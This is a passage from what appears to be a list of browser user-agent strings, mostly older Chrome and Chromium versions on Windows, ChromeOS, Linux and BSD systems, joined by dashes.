AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/526.3 (KHTML, like Gecko) Chrome/14.0.564.21 Safari/526.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it-IT) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.25 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; AppleWebKit/534.16; KHTML; like Gecko; Chrome/10.0.648.11;Safari/534.16) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35 -Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1 -Mozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 -Mozilla/5.0 (X11; CrOS i686 12.0.742.91) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30 -Mozilla/5.0 (X11; CrOS i686 12.433.109) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30 -Mozilla/5.0 (X11; CrOS i686 12.433.216) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.105 Safari/534.30 -Mozilla/5.0 (X11; CrOS i686 13.587.48) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.43 Safari/535.1 -Mozilla/5.0 (X11; CrOS i686 1660.57.0) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.46 Safari/535.19 -Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 -Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 -Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 -Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/1EA69 -Mozilla/5.0 (X11; FreeBSD i386) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2 -Mozilla/5.0 (X11; Linux amd64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 -Mozilla/5.0 (X11; Linux amd64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.91 Chromium/12.0.742.91 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.33 (KHTML, like Gecko) Ubuntu/9.10 Chromium/13.0.752.0 Chrome/13.0.752.0 Safari/534.33 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.804.0 Chrome/14.0.804.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.813.0 Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.803.0 Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.814.0 Chrome/14.0.814.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/10.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Ubuntu/11.10 Chromium/18.0.1025.142 Chrome/18.0.1025.142 Safari/535.19 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.824.0 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.10 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1042.0 Safari/535.21 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 -Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 -Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) 